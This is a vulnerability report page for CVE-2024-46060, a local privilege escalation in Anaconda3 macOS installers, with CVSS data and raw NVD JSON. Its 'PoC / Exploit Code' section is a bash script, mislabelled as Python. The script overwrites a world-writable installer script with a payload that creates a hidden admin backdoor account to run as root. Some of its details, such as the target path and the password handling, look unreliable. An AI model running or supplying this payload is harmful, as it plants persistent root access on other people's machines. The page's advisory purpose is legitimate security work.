Security Vulnerability Report
中文
CVE-2024-46060 CVSS 7.8 HIGH

CVE-2024-46060

Published: 2025-12-17 19:16:00
Last Modified: 2026-01-05 14:42:39

Description

Anaconda3 macOS installers before 2024.06-1 contain a local privilege escalation vulnerability when installed outside the user's home directory. During installation, world-writable files are created and executed with root privileges. This allows a local low-privileged user to inject arbitrary commands, leading to code execution as the root user.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:anaconda:anaconda3:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
Anaconda3 macOS Installers < 2024.06-1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2024-46060 PoC - Anaconda3 macOS Local Privilege Escalation # This PoC demonstrates the vulnerability in Anaconda3 macOS installers < 2024.06-1 # when installed outside user's home directory ANACONDA_INSTALL_PATH="/opt/anaconda3" PAYLOAD_FILE="$ANACONDA_INSTALL_PATH/pkgs/envs/env_script.sh" # Check if vulnerable installation exists if [ ! -d "$ANACONDA_INSTALL_PATH" ]; then echo "[-] Anaconda3 not installed at $ANACONDA_INSTALL_PATH" echo "[-] This vulnerability only affects installations outside home directory" exit 1 fi # Check if the target script is world-writable (vulnerability indicator) if [ ! -w "$PAYLOAD_FILE" ]; then echo "[-] Target script is not world-writable, system may be patched" exit 1 fi # Create payload for root shell cat > /tmp/evil_payload.sh << 'EOF' #!/bin/bash # Inject reverse shell or create privileged user # This code runs as root when the vulnerable script is executed # Example: Create a backdoor user with sudo privileges if ! id "anaconda_backdoor" &>/dev/null; then echo "anaconda_backdoor:anaconda_pwd" | /usr/bin/dscl . -create /Users/anaconda_backdoor /usr/bin/dscl . -create /Users/anaconda_backdoor UserShell /bin/bash /usr/bin/dscl . -create /Users/anaconda_backdoor RealName "Anaconda Backdoor" /usr/bin/dscl . -create /Users/anaconda_backdoor UniqueID 9999 /usr/bin/dscl . -create /Users/anaconda_backdoor PrimaryGroupID 20 /usr/bin/dscl . -append /Groups/admin GroupMembership anaconda_backdoor echo "[+] Backdoor user created with root privileges" fi EOF # Replace the vulnerable script with payload cp /tmp/evil_payload.sh "$PAYLOAD_FILE" chmod +x "$PAYLOAD_FILE" echo "[+] Payload injected successfully" echo "[!] When Anaconda installer runs or updates, payload executes as root"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-46060", "sourceIdentifier": "[email protected]", "published": "2025-12-17T19:16:00.160", "lastModified": "2026-01-05T14:42:39.110", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Anaconda3 macOS installers before 2024.06-1 contain a local privilege escalation vulnerability when installed outside the user's home directory. During installation, world-writable files are created and executed with root privileges. This allows a local low-privileged user to inject arbitrary commands, leading to code execution as the root user."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}, {"lang": "en", "value": "CWE-732"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:anaconda:anaconda3:*:*:*:*:*:*:*:*", "versionEndExcluding": "2024.06-1", "matchCriteriaId": "7CC282C6-F514-468E-BEF3-1E52AD01A700"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://m8sec.dev/blog/privilege-escalation-macos-pkg-installers/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.anaconda.com/docs/getting-started/anaconda/release/2024.x#anaconda-2024-06-1", "source": "[email protected]", "tags": ["Release Notes"]}]}}